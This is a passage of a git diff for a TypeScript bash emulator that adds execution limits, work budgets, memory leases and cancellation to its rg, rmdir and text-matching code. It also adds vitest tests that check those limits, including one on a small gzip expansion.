+            maxMatches: ctx.limits.maxArrayElements,
+            signal: ctx.signal,
+          });
+
+          // JSON formatting below needs the source after this task ends, so
+          // transfer lease ownership with the returned batch item.
+          if (options.json && result.matched) {
+            return { file, result, content, isBinary: false, lease };
+          }
 
-        const result = searchContent(content, regex, {
-          invertMatch: options.invertMatch,
-          showLineNumbers: effectiveLineNumbers,
-          countOnly: options.count,
-          countMatches: options.countMatches,
-          filename: filenameForSearch,
-          onlyMatching: options.onlyMatching,
-          beforeContext: options.beforeContext,
-          afterContext: options.afterContext,
-          maxCount: options.maxCount,
-          contextSeparator: options.contextSeparator,
-          showColumn: options.column,
-          vimgrep: options.vimgrep,
-          showByteOffset: options.byteOffset,
-          replace:
-            options.replace !== null
-              ? convertReplacement(options.replace)
-              : null,
-          passthru: options.passthru,
-          multiline: options.multiline,
-          kResetGroup,
-        });
-
-        // For JSON mode, we need to track matches differently
-        if (options.json && result.matched) {
-          return { file, result, content, isBinary: false };
+          lease?.release();
+          return { file, result };
+        } catch (error) {
+          lease?.release();
+          throw error;
         }
-
-        return { file, result };
       }),
     );
 
@@ -1018,6 +1303,7 @@ async function searchFiles(
       ) {
         stdout += result.output;
       }
+      (res as { lease?: ResourceLease }).lease?.release();
     }
   }
 
diff --git a/packages/just-bash/src/commands/rg/rg.decompression-limits.test.ts b/packages/just-bash/src/commands/rg/rg.decompression-limits.test.ts
new file mode 100644
index 00000000..4ca1acf5
--- /dev/null
+++ b/packages/just-bash/src/commands/rg/rg.decompression-limits.test.ts
@@ -0,0 +1,31 @@
+import { gzipSync } from "node:zlib";
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("rg compressed search limits", () => {
+  it("rejects gzip expansion above maxStringLength before decoding text", async () => {
+    const env = new Bash({
+      executionLimits: { maxStringLength: 128, maxOutputSize: 1024 },
+    });
+    await env.fs.writeFile("/bomb.gz", gzipSync("X".repeat(4096)));
+
+    const result = await env.exec("rg -z X /bomb.gz");
+
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("searches gzip content below the configured ceiling", async () => {
+    const env = new Bash({
+      executionLimits: { maxStringLength: 128, maxOutputSize: 1024 },
+    });
+    await env.fs.writeFile("/safe.gz", gzipSync("hello\n"));
+
+    const result = await env.exec("rg -z hello /safe.gz");
+
+    expect(result.stdout).toBe("hello\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+});
diff --git a/packages/just-bash/src/commands/rg/rg.live-bytes.security.test.ts b/packages/just-bash/src/commands/rg/rg.live-bytes.security.test.ts
new file mode 100644
index 00000000..42786003
--- /dev/null
+++ b/packages/just-bash/src/commands/rg/rg.live-bytes.security.test.ts
@@ -0,0 +1,31 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("rg live-byte accounting", () => {
+  it("prospectively bounds concurrently-read file batches", async () => {
+    const bash = new Bash({
+      files: {
+        "/one.txt": "a".repeat(30),
+        "/two.txt": "a".repeat(30),
+      },
+      executionLimits: { maxInputBytes: 1_000, maxLiveBytes: 100 },
+    });
+
+    const result = await bash.exec("rg a /one.txt /two.txt");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toMatch(/rg: live byte limit exceeded \(100 bytes\)/);
+  });
+
+  it("releases a completed batch lease", async () => {
+    const bash = new Bash({
+      files: { "/one.txt": "a".repeat(30) },
+      executionLimits: { maxInputBytes: 1_000, maxLiveBytes: 100 },
+    });
+
+    const result = await bash.exec("rg a /one.txt; rg a /one.txt");
+
+    expect(result.exitCode).toBe(0);
+    expect(result.stderr).toBe("");
+  });
+});
diff --git a/packages/just-bash/src/commands/rg/rg.pattern-file-limits.security.test.ts b/packages/just-bash/src/commands/rg/rg.pattern-file-limits.security.test.ts
new file mode 100644
index 00000000..ef8093e4
--- /dev/null
+++ b/packages/just-bash/src/commands/rg/rg.pattern-file-limits.security.test.ts
@@ -0,0 +1,116 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
+describe("rg pattern-file resource limits", () => {
+  it("accounts aggregate bytes across pattern files before reading", async () => {
+    const bash = new Bash({
+      files: {
+        "/one.patterns": "alpha\n",
+        "/two.patterns": "beta\n",
+        "/data.txt": "alpha beta\n",
+      },
+      executionLimits: { maxInputBytes: 10 },
+    });
+
+    const result = await bash.exec(
+      "rg -f /one.patterns -f /two.patterns /data.txt",
+    );
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain(
+      "rg: aggregate input size limit exceeded (10 bytes)",
+    );
+  });
+
+  it("prospectively leases raw, decoded, and retained pattern storage", async () => {
+    const bash = new Bash({
+      files: {
+        "/patterns": "alpha\nbe",
+        "/data.txt": "alpha\n",
+      },
+      executionLimits: { maxLiveBytes: 20 },
+    });
+
+    const result = await bash.exec("rg -f /patterns /data.txt");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("rg: live byte limit exceeded (20 bytes)");
+  });
+
+  it("bounds non-empty patterns while scanning without a split array", async () => {
+    const bash = new Bash({
+      files: {
+        "/patterns": "a\nb\nc\nd\ne\n",
+        "/data.txt": "a\n",
+      },
+      executionLimits: { maxArrayElements: 4 },
+    });
+
+    const result = await bash.exec("rg -f /patterns /data.txt");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("rg: pattern limit exceeded (4)");
+  });
+
+  it("charges pattern-file scanning against aggregate work", async () => {
+    const bash = new Bash({
+      files: {
+        "/patterns": "abcdefghijk\n",
+        "/data.txt": "abcdefghijk\n",
+      },
+      executionLimits: { maxWorkUnits: 10 },
+    });
+
+    const result = await bash.exec("rg -f /patterns /data.txt");
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("rg pattern file parsing");
+  });
+
+  it("releases pattern storage after regex compilation fails", async () => {
+    const bash = new Bash({
+      files: {
+        "/bad.patterns": "[\n",
+        "/good.patterns": "a\n",
+        "/data.txt": "a\n",
+      },
+      executionLimits: { maxLiveBytes: 10 },
+    });
+
+    const result = await bash.exec(
+      "rg -f /bad.patterns /data.txt; rg -f /good.patterns /data.txt",
+    );
+
+    expect(result.exitCode).toBe(0);
+    expect(result.stdout).toBe("a\n");
+    expect(result.stderr).toContain("rg: invalid regex");
+    expect(result.stderr).not.toContain("live byte limit exceeded");
+  });
+
+  it("keeps normal multi-file and stdin pattern compatibility", async () => {
+    const bash = new Bash({
+      files: {
+        "/one.patterns": "alpha\n\n",
+        "/two.patterns": "beta\n",
+        "/data.txt": "alpha\nbeta\ngamma\n",
+      },
+    });
+
+    const fromFiles = await bash.exec(
+      "rg -f /one.patterns -f /two.patterns /data.txt",
+    );
+    const fromStdin = await bash.exec("printf 'gamma\\n' | rg -f - /data.txt");
+
+    expect(fromFiles).toMatchObject({
+      exitCode: 0,
+      stdout: "alpha\nbeta\n",
+      stderr: "",
+    });
+    expect(fromStdin).toMatchObject({
+      exitCode: 0,
+      stdout: "gamma\n",
+      stderr: "",
+    });
+  });
+});
diff --git a/packages/just-bash/src/commands/rg/rg.ts b/packages/just-bash/src/commands/rg/rg.ts
index f7842f35..bea1e541 100644
--- a/packages/just-bash/src/commands/rg/rg.ts
+++ b/packages/just-bash/src/commands/rg/rg.ts
@@ -9,7 +9,11 @@
  * - Smart case sensitivity (case-insensitive unless pattern has uppercase)
  */
 
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 import { formatTypeList } from "./file-types.js";
 import { parseArgs } from "./rg-parser.js";
@@ -83,10 +87,13 @@ EXAMPLES:
   ],
 };
 
-export const rgCommand: Command = {
+export const rgCommand: RuntimeCommand = {
   name: "rg",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(rgHelp);
     }
diff --git a/packages/just-bash/src/commands/rm/rm.ts b/packages/just-bash/src/commands/rm/rm.ts
index 56ba165d..a908204b 100644
--- a/packages/just-bash/src/commands/rm/rm.ts
+++ b/packages/just-bash/src/commands/rm/rm.ts
@@ -1,6 +1,10 @@
 import { sanitizeErrorMessage } from "../../fs/sanitize-error.js";
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 
 const argDefs = {
@@ -10,10 +14,13 @@ const argDefs = {
   verbose: { short: "v", long: "verbose", type: "boolean" as const },
 };
 
-export const rmCommand: Command = {
+export const rmCommand: RuntimeCommand = {
   name: "rm",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     const parsed = parseArgs("rm", args, argDefs);
     if (!parsed.ok) return parsed.error;
 
diff --git a/packages/just-bash/src/commands/rmdir/rmdir.security.test.ts b/packages/just-bash/src/commands/rmdir/rmdir.security.test.ts
new file mode 100644
index 00000000..f4d46dfa
--- /dev/null
+++ b/packages/just-bash/src/commands/rmdir/rmdir.security.test.ts
@@ -0,0 +1,15 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("rmdir resource limits", () => {
+  it("bounds -p parent traversal", async () => {
+    const env = new Bash({
+      files: { "/a/b/c/file": "x" },
+      executionLimits: { maxTraversalWork: 1 },
+    });
+    await env.exec("rm /a/b/c/file");
+    const result = await env.exec("rmdir -p /a/b/c");
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("parent traversal limit exceeded");
+  });
+});
diff --git a/packages/just-bash/src/commands/rmdir/rmdir.ts b/packages/just-bash/src/commands/rmdir/rmdir.ts
index f4efa1e8..2b9a7bd8 100644
--- a/packages/just-bash/src/commands/rmdir/rmdir.ts
+++ b/packages/just-bash/src/commands/rmdir/rmdir.ts
@@ -1,5 +1,10 @@
+import { FileTraversalBudget } from "../../fs/traversal.js";
 import { getErrorMessage } from "../../interpreter/helpers/errors.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 
 const USAGE = `Usage: rmdir [-pv] DIRECTORY...
@@ -15,10 +20,13 @@ const argDefs = {
   help: { long: "help", type: "boolean" as const },
 };
 
-export const rmdirCommand: Command = {
+export const rmdirCommand: RuntimeCommand = {
   name: "rmdir",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     const parsed = parseArgs("rmdir", args, argDefs);
     if (!parsed.ok) return parsed.error;
 
@@ -41,9 +49,16 @@ export const rmdirCommand: Command = {
     let stdout = "";
     let stderr = "";
     let exitCode = 0;
+    const budget = new FileTraversalBudget({
+      limits: ctx.limits,
+      signal: ctx.signal,
+      executionScope: ctx.executionScope,
+      site: "rmdir",
+      label: "parent traversal",
+    });
 
     for (const dir of dirs) {
-      const result = await removeDir(ctx, dir, parents, verbose);
+      const result = await removeDir(ctx, dir, parents, verbose, budget);
       stdout += result.stdout;
       stderr += result.stderr;
       if (result.exitCode !== 0) {
@@ -56,10 +71,11 @@ export const rmdirCommand: Command = {
 };
 
 async function removeDir(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   dir: string,
   parents: boolean,
   verbose: boolean,
+  budget: FileTraversalBudget,
 ): Promise<ExecResult> {
   let stdout = "";
   let stderr = "";
@@ -82,6 +98,7 @@ async function removeDir(
 
     // Keep removing parent directories until we hit an error or root
     while (true) {
+      budget.visit(0);
       const parentPath = getParentPath(currentPath);
       const parentDir = getParentPath(currentDir);
 
@@ -121,7 +138,7 @@ async function removeDir(
 }
 
 async function removeSingleDir(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   fullPath: string,
   displayPath: string,
   verbose: boolean,
diff --git a/packages/just-bash/src/commands/search-engine/matcher.test.ts b/packages/just-bash/src/commands/search-engine/matcher.test.ts
index 75cdc782..18869838 100644
--- a/packages/just-bash/src/commands/search-engine/matcher.test.ts
+++ b/packages/just-bash/src/commands/search-engine/matcher.test.ts
@@ -3,6 +3,26 @@ import { searchContent } from "./matcher.js";
 import { buildRegex, type PreFilter } from "./regex.js";
 
 describe("preFilterMatches — substring fast-path", () => {
+  it("bounds ordinary line matching work", () => {
+    const { regex } = buildRegex("x", { mode: "basic" });
+    expect(() =>
+      searchContent("x\nx\nx\n", regex, {
+        onlyMatching: true,
+        maxWork: 3,
+      }),
+    ).toThrow("matching work limit exceeded");
+  });
+
+  it("bounds ordinary retained output records", () => {
+    const { regex } = buildRegex("x", { mode: "basic" });
+    expect(() =>
+      searchContent("xxx", regex, {
+        onlyMatching: true,
+        maxMatches: 2,
+      }),
+    ).toThrow("result limit exceeded");
+  });
+
   it("skips lines where no needle is present (case-sensitive)", () => {
     const content = "hello world\nfoo bar\nhello foo\n";
     const { regex } = buildRegex("foo", { mode: "basic" });
@@ -150,4 +170,64 @@ describe("searchContentMultiline — file-level preFilter", () => {
     expect(result.matched).toBe(true);
     expect(result.output).toBe("1:hello\n2:world\n");
   });
+
+  it("counts dense matches without retaining every match span", () => {
+    const content = `${Array.from({ length: 1_000 }, () => "x").join("\n")}\n`;
+    const { regex } = buildRegex("x", { mode: "basic", multiline: true });
+    const result = searchContent(content, regex, {
+      multiline: true,
+      countMatches: true,
+    });
+
+    expect(result.output).toBe("1000\n");
+    expect(result.matchCount).toBe(1_000);
+  });
+
+  it("counts the union of lines touched by overlapping multiline spans", () => {
+    const { regex } = buildRegex("a\\nb", {
+      mode: "extended",
+      multiline: true,
+    });
+    const result = searchContent("a\nb\na\nb\n", regex, {
+      multiline: true,
+      countOnly: true,
+    });
+
+    expect(result.output).toBe("4\n");
+    expect(result.matchCount).toBe(4);
+  });
+
+  it("bounds synchronous match work even when maxCount is unlimited", () => {
+    const { regex } = buildRegex("x", { mode: "basic", multiline: true });
+    expect(() =>
+      searchContent("xxxxxxxx", regex, {
+        multiline: true,
+        onlyMatching: true,
+        maxWork: 3,
+      }),
+    ).toThrow("matching work limit exceeded");
+  });
+
+  it("bounds retained multiline match spans", () => {
+    const { regex } = buildRegex("x", { mode: "basic", multiline: true });
+    expect(() =>
+      searchContent("xxx", regex, {
+        multiline: true,
+        onlyMatching: true,
+        maxMatches: 2,
+      }),
+    ).toThrow("match limit exceeded");
+  });
+
+  it("honors cancellation during multiline scanning", () => {
+    const controller = new AbortController();
+    controller.abort();
+    const { regex } = buildRegex("x", { mode: "basic", multiline: true });
+    expect(() =>
+      searchContent("x", regex, {
+        multiline: true,
+        signal: controller.signal,
+      }),
+    ).toThrow("execution aborted");
+  });
 });
diff --git a/packages/just-bash/src/commands/search-engine/matcher.ts b/packages/just-bash/src/commands/search-engine/matcher.ts
index 136657d9..0417b2cd 100644
--- a/packages/just-bash/src/commands/search-engine/matcher.ts
+++ b/packages/just-bash/src/commands/search-engine/matcher.ts
@@ -2,6 +2,10 @@
  * Core content matching logic for search commands
  */
 
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
 import type { UserRegex } from "../../regex/index.js";
 import type { PreFilter } from "./regex.js";
 
@@ -83,6 +87,12 @@ export interface SearchOptions {
    * is present. Pre-computed by buildRegex from the source pattern.
    */
   preFilter?: PreFilter | null;
+  /** Maximum synchronous matching/formatting work units. */
+  maxWork?: number;
+  /** Maximum retained match objects. */
+  maxMatches?: number;
+  /** Cooperative cancellation signal checked during long scans. */
+  signal?: AbortSignal;
 }
 
 export interface SearchResult {
@@ -129,6 +139,9 @@ export function searchContent(
     multiline = false,
     kResetGroup,
     preFilter,
+    maxWork,
+    maxMatches,
+    signal,
   } = options;
 
   // Multiline mode: search entire content as one string
@@ -149,9 +162,47 @@ export function searchContent(
       replace,
       kResetGroup,
       preFilter,
+      maxWork,
+      maxMatches,
+      signal,
     });
   }
 
+  let work = 0;
+  const chargeWork = (amount = 1): void => {
+    if (signal?.aborted) throw new ExecutionAbortedError();
+    work += amount;
+    if (maxWork !== undefined && work > maxWork) {
+      throw new ExecutionLimitError(
+        `search: matching work limit exceeded (${maxWork})`,
+        "iterations",
+      );
+    }
+  };
+  const pushOutput = (lines: string[], value: string): void => {
+    if (maxMatches !== undefined && lines.length >= maxMatches) {
+      throw new ExecutionLimitError(
+        `search: result limit exceeded (${maxMatches})`,
+        "array_elements",
+      );
+    }
+    lines.push(value);
+  };
+
+  let prospectiveLineCount = 1;
+  for (let index = 0; index < content.length; index++) {
+    if ((index & 1023) === 0) chargeWork();
+    if (content.charCodeAt(index) === 10) {
+      prospectiveLineCount++;
+      if (maxMatches !== undefined && prospectiveLineCount > maxMatches) {
+        throw new ExecutionLimitError(
+          `search: line limit exceeded (${maxMatches})`,
+          "array_elements",
+        );
+      }
+    }
+  }
+
   const lines = content.split("\n");
   const lineCount = lines.length;
   // Handle trailing empty line from split if content ended with newline
@@ -164,6 +215,7 @@ export function searchContent(
     // --count --only-matching behaves like --count-matches
     const shouldCountMatches = (countMatches || onlyMatching) && !invertMatch;
     for (let i = 0; i < lastIdx; i++) {
+      chargeWork();
       const line = lines[i];
       // Pre-filter: skip lines that can't contain any required literal.
       // For invertMatch=true (-vc), a no-match line still counts, so we
@@ -179,6 +231,7 @@ export function searchContent(
           match !== null;
           match = regex.exec(line)
         ) {
+          chargeWork();
           matchCount++;
           if (match[0].length === 0) regex.lastIndex++;
         }
@@ -203,6 +256,7 @@ export function searchContent(
     let byteOffset = 0; // Track cumulative byte offset
 
     for (let i = 0; i < lastIdx; i++) {
+      chargeWork();
       // Check if we've reached maxCount
       if (maxCount > 0 && matchCount >= maxCount) break;
 
@@ -231,6 +285,7 @@ export function searchContent(
             match !== null;
             match = regex.exec(line)
           ) {
+            chargeWork();
             // If \K was used, extract from the capture group instead of full match
             const rawMatch =
               kResetGroup !== undefined ? (match[kResetGroup] ?? "") : match[0];
@@ -240,7 +295,7 @@ export function searchContent(
             if (showByteOffset) prefix += `${byteOffset + match.index}:`;
             if (showLineNumbers) prefix += `${i + 1}:`;
             if (showColumn) prefix += `${match.index + 1}:`;
-            outputLines.push(prefix + matchText);
+            pushOutput(outputLines, prefix + matchText);
             if (match[0].length === 0) regex.lastIndex++;
           }
         } else if (vimgrep) {
@@ -250,11 +305,12 @@ export function searchContent(
             match !== null;
             match = regex.exec(line)
           ) {
+            chargeWork();
             let prefix = filename ? `${filename}:` : "";
             if (showByteOffset) prefix += `${byteOffset + match.index}:`;
             if (showLineNumbers) prefix += `${i + 1}:`;
             if (showColumn) prefix += `${match.index + 1}:`;
-            outputLines.push(prefix + line);
+            pushOutput(outputLines, prefix + line);
             if (match[0].length === 0) regex.lastIndex++;
           }
         } else {
@@ -294,7 +350,7 @@ export function searchContent(
             prefix += `${byteOffset + (firstMatch ? firstMatch.index : 0)}:`;
           if (showLineNumbers) prefix += `${i + 1}:`;
           if (showColumn) prefix += `${column}:`;
-          outputLines.push(prefix + outputLine);
+          pushOutput(outputLines, prefix + outputLine);
         }
       }
 
@@ -316,6 +372,7 @@ export function searchContent(
     let matchCount = 0;
 
     for (let i = 0; i < lastIdx; i++) {
+      chargeWork();
       const line = lines[i];
       let matches: boolean;
       if (preFilter && !preFilterMatches(preFilter, line)) {
@@ -336,7 +393,7 @@ export function searchContent(
 
       let prefix = filename ? `${filename}${sep}` : "";
       if (showLineNumbers) prefix += `${i + 1}${sep}`;
-      outputLines.push(prefix + line);
+      pushOutput(outputLines, prefix + line);
     }
 
     return {
@@ -355,6 +412,7 @@ export function searchContent(
   // First pass: find all matching lines (respecting maxCount)
   const matchingLineNumbers: number[] = [];
   for (let i = 0; i < lastIdx; i++) {
+    chargeWork();
     // Check if we've reached maxCount
     if (maxCount > 0 && matchCount >= maxCount) break;
     const line = lines[i];
@@ -366,6 +424,15 @@ export function searchContent(
       matches = regex.test(line);
     }
     if (matches !== invertMatch) {
+      if (
+        maxMatches !== undefined &&
+        matchingLineNumbers.length >= maxMatches
+      ) {
+        throw new ExecutionLimitError(
+          `search: match limit exceeded (${maxMatches})`,
+          "array_elements",
+        );
+      }
       matchingLineNumbers.push(i);
       matchCount++;
     }
@@ -373,22 +440,24 @@ export function searchContent(
 
   // Second pass: output with context
   for (const lineNum of matchingLineNumbers) {
+    chargeWork();
     const contextStart = Math.max(0, lineNum - beforeContext);
 
     // Add separator if there's a gap between this group and the last printed line
     if (lastPrintedLine >= 0 && contextStart > lastPrintedLine + 1) {
-      outputLines.push(contextSeparator);
+      pushOutput(outputLines, contextSeparator);
     }
 
     // Before context
     for (let i = contextStart; i < lineNum; i++) {
+      chargeWork();
       if (!printedLines.has(i)) {
         printedLines.add(i);
         lastPrintedLine = i;
         let outputLine = lines[i];
         if (showLineNumbers) outputLine = `${i + 1}-${outputLine}`;
         if (filename) outputLine = `${filename}-${outputLine}`;
-        outputLines.push(outputLine);
+        pushOutput(outputLines, outputLine);
       }
     }
 
@@ -405,6 +474,7 @@ export function searchContent(
           match !== null;
           match = regex.exec(line)
         ) {
+          chargeWork();
           // If \K was used, extract from the capture group instead of full match
           const rawMatch =
             kResetGroup !== undefined ? (match[kResetGroup] ?? "") : match[0];
@@ -412,27 +482,28 @@ export function searchContent(
           let prefix = filename ? `${filename}:` : "";
           if (showLineNumbers) prefix += `${lineNum + 1}:`;
           if (showColumn) prefix += `${match.index + 1}:`;
-          outputLines.push(prefix + matchText);
+          pushOutput(outputLines, prefix + matchText);
           if (match[0].length === 0) regex.lastIndex++;
         }
       } else {
         let outputLine = line;
         if (showLineNumbers) outputLine = `${lineNum + 1}:${outputLine}`;
         if (filename) outputLine = `${filename}:${outputLine}`;
-        outputLines.push(outputLine);
+        pushOutput(outputLines, outputLine);
       }
     }
 
     // After context
     const maxAfter = Math.min(lastIdx - 1, lineNum + afterContext);
     for (let i = lineNum + 1; i <= maxAfter; i++) {
+      chargeWork();
       if (!printedLines.has(i)) {
         printedLines.add(i);
         lastPrintedLine = i;
         let outputLine = lines[i];
         if (showLineNumbers) outputLine = `${i + 1}-${outputLine}`;
         if (filename) outputLine = `${filename}-${outputLine}`;
-        outputLines.push(outputLine);
+        pushOutput(outputLines, outputLine);
       }
     }
   }
@@ -467,6 +538,9 @@ function searchContentMultiline(
     replace: string | null;
     kResetGroup?: number;
     preFilter?: PreFilter | null;
+    maxWork?: number;
+    maxMatches?: number;
+    signal?: AbortSignal;
   },
 ): SearchResult {
   const {
@@ -485,8 +559,23 @@ function searchContentMultiline(
     replace,
     kResetGroup,
     preFilter,
+    maxWork,
+    maxMatches,
+    signal,
   } = options;
 
+  let work = 0;
+  const chargeWork = (amount = 1): void => {
+    if (signal?.aborted) throw new ExecutionAbortedError();
+    work += amount;
+    if (maxWork !== undefined && work > maxWork) {
+      throw new ExecutionLimitError(
+        `search: matching work limit exceeded (${maxWork})`,
+        "iterations",
+      );
+    }
+  };
+
   // File-level preFilter: if no needle appears anywhere in the content, no line can match.
   // Only safe when not inverting — an invert-match scan must check every line.
   if (preFilter && !invertMatch && !preFilterMatches(preFilter, content)) {
@@ -497,27 +586,39 @@ function searchContentMultiline(
     return { output: "", matched: false, matchCount: 0 };
   }
 
-  const lines = content.split("\n");
-  const lineCount = lines.length;
-  const lastIdx =
-    lineCount > 0 && lines[lineCount - 1] === "" ? lineCount - 1 : lineCount;
-
   // Build line offset map: lineOffsets[i] = byte offset where line i starts
   const lineOffsets: number[] = [0];
   for (let i = 0; i < content.length; i++) {
+    if ((i & 1023) === 0) chargeWork();
     if (content[i] === "\n") {
+      if (maxMatches !== undefined && lineOffsets.length >= maxMatches) {
+        throw new ExecutionLimitError(
+          `search: line index limit exceeded (${maxMatches})`,
+          "array_elements",
+        );
+      }
       lineOffsets.push(i + 1);
     }
   }
 
+  const lines = content.split("\n");
+  const lineCount = lines.length;
+  const lastIdx =
+    lineCount > 0 && lines[lineCount - 1] === "" ? lineCount - 1 : lineCount;
+
   // Helper: convert byte offset to line number (0-indexed)
   const getLineIndex = (byteOffset: number): number => {
-    let line = 0;
-    for (let i = 0; i < lineOffsets.length; i++) {
-      if (lineOffsets[i] > byteOffset) break;
-      line = i;
+    let low = 0;
+    let high = lineOffsets.length;
+    while (low < high) {
+      const middle = low + Math.floor((high - low) / 2);
+      if (lineOffsets[middle] <= byteOffset) {
+        low = middle + 1;
+      } else {
+        high = middle;
+      }
     }
-    return line;
+    return Math.max(0, low - 1);
   };
 
   // Helper: get column within line (1-indexed)
@@ -526,6 +627,52 @@ function searchContentMultiline(
     return byteOffset - lineOffsets[lineIdx] + 1;
   };
 
+  // Count modes do not need to retain every match. Regex matches are ordered
+  // by start offset, so a single high-water mark is sufficient to count the
+  // union of lines touched by matches without a potentially huge Set.
+  if (countOnly || countMatches) {
+    let individualMatchCount = 0;
+    let matchedLineCount = 0;
+    let lastMatchedLine = -1;
+
+    regex.lastIndex = 0;
+    for (
+      let match = regex.exec(content);
+      match !== null;
+      match = regex.exec(content)
+    ) {
+      chargeWork();
+      if (maxCount > 0 && individualMatchCount >= maxCount) break;
+
+      individualMatchCount++;
+      if (!countMatches) {
+        const startLine = getLineIndex(match.index);
+        const endLine = getLineIndex(
+          match.index + Math.max(0, match[0].length - 1),
+        );
+        const firstNewLine = Math.max(startLine, lastMatchedLine + 1);
+        if (firstNewLine <= endLine) {
+          matchedLineCount += endLine - firstNewLine + 1;
+          lastMatchedLine = endLine;
+        }
+      }
+
+      if (match[0].length === 0) regex.lastIndex++;
+    }
+
+    const matchCount = countMatches
+      ? invertMatch
+        ? 0
+        : individualMatchCount
+      : invertMatch
+        ? lastIdx - matchedLineCount
+        : matchedLineCount;
+    const countStr = filename
+      ? `${filename}:${matchCount}`
+      : String(matchCount);
+    return { output: `${countStr}\n`, matched: matchCount > 0, matchCount };
+  }
+
   // First pass: find all match spans
   const matchSpans: Array<{
     startLine: number;
@@ -541,7 +688,14 @@ function searchContentMultiline(
     match !== null;
     match = regex.exec(content)
   ) {
+    chargeWork();
     if (maxCount > 0 && matchSpans.length >= maxCount) break;
+    if (maxMatches !== undefined && matchSpans.length >= maxMatches) {
+      throw new ExecutionLimitError(
+        `search: match limit exceeded (${maxMatches})`,
+        "array_elements",
+      );
+    }
 
     const startLine = getLineIndex(match.index);
     const endLine = getLineIndex(
@@ -562,41 +716,19 @@ function searchContentMultiline(
     if (match[0].length === 0) regex.lastIndex++;
   }
 
-  // Count mode
-  if (countOnly || countMatches) {
-    let matchCount: number;
-    if (countMatches) {
-      // Count individual matches
-      matchCount = invertMatch ? 0 : matchSpans.length;
-    } else {
-      // Count lines touched by matches
-      const matchedLines = new Set<number>();
-      for (const span of matchSpans) {
-        for (let i = span.startLine; i <= span.endLine; i++) {
-          matchedLines.add(i);
-        }
-      }
-      matchCount = invertMatch
-        ? lastIdx - matchedLines.size
-        : matchedLines.size;
-    }
-    const countStr = filename
-      ? `${filename}:${matchCount}`
-      : String(matchCount);
-    return { output: `${countStr}\n`, matched: matchCount > 0, matchCount };
-  }
-
   // Inverted match: output lines not part of any match
   if (invertMatch) {
     const matchedLines = new Set<number>();
     for (const span of matchSpans) {
       for (let i = span.startLine; i <= span.endLine; i++) {
+        chargeWork();
         matchedLines.add(i);
       }
     }
 
     const outputLines: string[] = [];
     for (let i = 0; i < lastIdx; i++) {
+      chargeWork();
       if (!matchedLines.has(i)) {
         let line = lines[i];
         if (showLineNumbers) line = `${i + 1}:${line}`;
@@ -623,6 +755,7 @@ function searchContentMultiline(
   const outputLines: string[] = [];
 
   for (const span of matchSpans) {
+    chargeWork();
     const contextStart = Math.max(0, span.startLine - beforeContext);
     const contextEnd = Math.min(lastIdx - 1, span.endLine + afterContext);
 
@@ -633,6 +766,7 @@ function searchContentMultiline(
 
     // Before context
     for (let i = contextStart; i < span.startLine; i++) {
+      chargeWork();
       if (!printedLines.has(i)) {
         printedLines.add(i);
         lastPrintedLine = i;
@@ -654,12 +788,14 @@ function searchContentMultiline(
       outputLines.push(prefix + matchText);
       // Mark lines as printed to handle context correctly
       for (let i = span.startLine; i <= span.endLine; i++) {
+        chargeWork();
         printedLines.add(i);
         lastPrintedLine = i;
       }
     } else {
       // Output full lines containing the match
       for (let i = span.startLine; i <= span.endLine && i < lastIdx; i++) {
+        chargeWork();
         if (!printedLines.has(i)) {
           printedLines.add(i);
           lastPrintedLine = i;
@@ -681,6 +817,7 @@ function searchContentMultiline(
 
     // After context
     for (let i = span.endLine + 1; i <= contextEnd; i++) {
+      chargeWork();
       if (!printedLines.has(i)) {
         printedLines.add(i);
         lastPrintedLine = i;
diff --git a/packages/just-bash/src/commands/sed/lexer.ts b/packages/just-bash/src/commands/sed/lexer.ts
index 1e601441..4e89f8ab 100644
--- a/packages/just-bash/src/commands/sed/lexer.ts
+++ b/packages/just-bash/src/commands/sed/lexer.ts
@@ -6,6 +6,8 @@
  * depends heavily on what command is being parsed.
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
 export enum SedTokenType {
   // Addresses
   NUMBER = "NUMBER",
@@ -70,15 +72,31 @@ export class SedLexer {
   private line = 1;
   private column = 1;
 
-  constructor(input: string) {
+  constructor(
+    input: string,
